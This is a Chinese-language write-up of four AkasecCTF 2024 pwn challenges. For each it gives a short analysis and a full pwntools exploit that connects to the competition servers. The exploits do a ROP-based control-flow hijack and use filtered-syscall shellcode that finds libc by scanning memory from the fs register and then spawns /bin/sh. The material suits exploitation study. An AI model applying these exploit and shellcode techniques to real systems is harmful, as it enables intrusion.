AkasecCTF2024 WriteUp-Pwn
AkasecCTF2024 WriteUp-Pwn
yapping
题目分析
一个纯汇编搓的程序,也就没有动态链接了。
没有栈溢出 但是能够覆盖栈上面保存的循环使用的i变量。用过修改这个变量实现一次任意地址写。
存在后门函数:win函数 但是需要先修改bss上面的变量才能通过检查拿到flag。
因此我们需要干的事情就是: 1.修改bss上面的变量 2.劫持程序执行流到win函数。
解题思路
但是我们只有一次写地址机会,如果直接劫持vuln函数的返回地址肯定无法干那么多事情。
我们于是开始尽可能利用现有的buf
他调用read函数没有直接syscall,而是调用了一个函数之后进行syscall。 我们尝试劫持这个函数的执行流,让它返回到我们提前布置在buf里面的ROP链子。 (这时候有人就说了:都能执行ROP了为什么不直接搓个ORW的链子?Ans:因为程序是汇编搓的,所以gadgets几乎就是没有。还是要调用win函数) 至于更改bss的变量,vuln函数中定位buf使用的是rbp寄存器,于是我们劫持执行流的时候把rbp更改了就行了。 (Q:你只能写8字节的内容,为什么能同时改rbp和返回地址?A:我们从rbp低第2位开始写,改到返回地址最低一个字节正好8字节,返回地址最低一位改成0x60就能返回到ret指令,之后ret到我们buf布置的ROP链子,rbp就只剩最低一位无法控制,我们直接爆破就行,就能劫持rbp到bss上面,之后调用vuln函数就能修改bss上面的变量,之后vuln函数结束ret到win函数就可以了)
Exp
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
p=remote('20.80.240.190',14124)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p,"b *0x401115")
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
payload1=p64(0x4011F4)+p64(0x401160)+p64(0x401160)
payload=payload1*4+p64(0xFFFFFFe9ffffffff)+p64(0xFFFFFFe9ffffffff)+p64(0x6000000000004040)
p.send(payload)
# pause()
# p.send(p64(0x6000000000004040))
pause()
payload2=p64(0x6e696d6461)*16
p.send(payload2)
#0x6e696d6461
p.interactive()
the_absolute_horror_of_the_trip
题目分析
一道shellcode题目
buf地址已知,pie开启 刚开始就给了puts函数的低4字节
过滤了buf中的syscall , int 0x80 , sysenter指令,之后设置buf为r-xp,寄存器除了已知的buf地址全清空了。(非常逆天)
在没有syscall的情况下我们肯定要调用elf的函数来之后进行操作。最重要的就是拿到elf,libc,ld之类的地址。
解题思路
除了rdi之类的通用寄存器,程序还有着cs fs ss等段寄存器。fs寄存器加上偏移就能拿到一些地址。 经过测验,fs:[0x00/0x08/0x10]存储的是libc前面的一个段的地址,在那个段我们可以找到libc基址,但是实测加上偏移的方法在本地可以100%拿shell,但是远程就100%不行。 猜测是本地和远程ld不同或者操作系统(好像远程是archlinux)导致段内的环境不同。因此直接写个循环在段内搜索,匹配给出的puts函数低字节来找到libc地址,从而拿到基址。 低4字节我们知道,但是高2字节不知道,我们就是要找到一个libc的地址就能直接知道了。
知道libc基址之后就能直接orw或者execve拿shell了。
Exp
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
p=remote('172.210.129.230',1369)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 0x6969696969 0x6969696000
# 0x1337131369 0x1337131000
# mov rcx,0x000075f74baeeac0
# sub rdi,rcx
# mov rcx,0x75f74b96d000
# add rdi,rcx
p.recvuntil("0x")
add=int(p.recv(8),16)-0x079BF0
print(hex(add))
code=f'''
st1:
nop
st:
mov rdi,fs:0x0
mov rsi,0xdddddd
cmp rdi,rsi
jl st1
mov rcx, 0xf0000
loop_start:
mov rax, [rdi]
mov r8,{add}
mov r10,r8
mov rbx,0x00000000fff00000
mov r9, 0x00000000fff00000
and rax, rbx
and r8,rbx
cmp rax,r8
jne loop_end
mov rdi, [rdi]
mov rbx,0xffffffff00000000
and rdi,rbx
add rdi,r10
jmp after
loop_end:
add rdi, 8
dec rcx
jnz loop_start
after:
add rdi,0x3E717
mov rbx,rdi
mov rsp,0x69696b6000
mov rcx,0x68732f6e69622f
mov [rsp],rcx
mov rdi,rsp
xor rax,rax
mov rax,59
mov rcx,0x353f
xor rcx,0x3030
xor rdx,rdx
xor rsi,rsi
jmp rbx
'''
# mov rcx,0x7ed10ca85740
# sub rdi,rcx
# mov rcx,0x7ed10ca88000
# add rdi,rcx
# jmp rbx
p.sendline(asm(code))
p.sendline("ls")
p.interactive()
good_trip
题目分析
上面一题的简化版本。
Exp
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
p=remote('172.210.129.230',1351)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 0x6969696969 0x6969696000
# 0x1337131369 0x1337131000
# mov rcx,0x000075f74baeeac0
# sub rdi,rcx
# mov rcx,0x75f74b96d000
# add rdi,rcx
p.sendlineafter("code size",str(0x999))
code='''
mov rsp,0x404800
mov rdi,0x1337131000
mov rsi,0x1000
mov rdx,0x7
mov rcx,0x401090
call rcx
mov rdi,0
mov rsi,0x1337131100
mov rdx,0x100
mov rcx,0x401060
call rcx
mov rcx,0x1337131100
call rcx
'''
p.sendline(asm(code))
pause()
p.sendline(asm(shellcraft.sh()))
# p.sendline("ls")
p.interactive()
bad_trip
题目分析
依旧是简化版本,但是exp通用),还好我先做的难的)
Exp
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
p=remote('172.210.129.230',1352)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 0x6969696969 0x6969696000
# 0x1337131369 0x1337131000
# mov rcx,0x000075f74baeeac0
# sub rdi,rcx
# mov rcx,0x75f74b96d000
# add rdi,rcx
p.recvuntil("0x")
add=int(p.recv(8),16)-0x079BF0
print(hex(add))
code=f'''
st1:
nop
st:
mov rdi,fs:0x0
mov rsi,0xdddddd
cmp rdi,rsi
jl st1
mov rcx, 0xf0000
loop_start:
mov rax, [rdi]
mov r8,{add}
mov r10,r8
mov rbx,0x00000000fff00000
mov r9, 0x00000000fff00000
and rax, rbx
and r8,rbx
cmp rax,r8
jne loop_end
mov rdi, [rdi]
mov rbx,0xffffffff00000000
and rdi,rbx
add rdi,r10
jmp after
loop_end:
add rdi, 8
dec rcx
jnz loop_start
after:
add rdi,0x3E717
mov rbx,rdi
mov rsp,0x69696b6000
mov rcx,0x68732f6e69622f
mov [rsp],rcx
mov rdi,rsp
xor rax,rax
mov rax,59
mov rcx,0x353f
xor rcx,0x3030
xor rdx,rdx
xor rsi,rsi
jmp rbx
'''
# mov rcx,0x7ed10ca85740
# sub rdi,rcx
# mov rcx,0x7ed10ca88000
# add rdi,rcx
# jmp rbx
p.sendline(asm(code))
p.sendline("ls")
p.interactive()
总结
题目质量还挺高的。难度中等。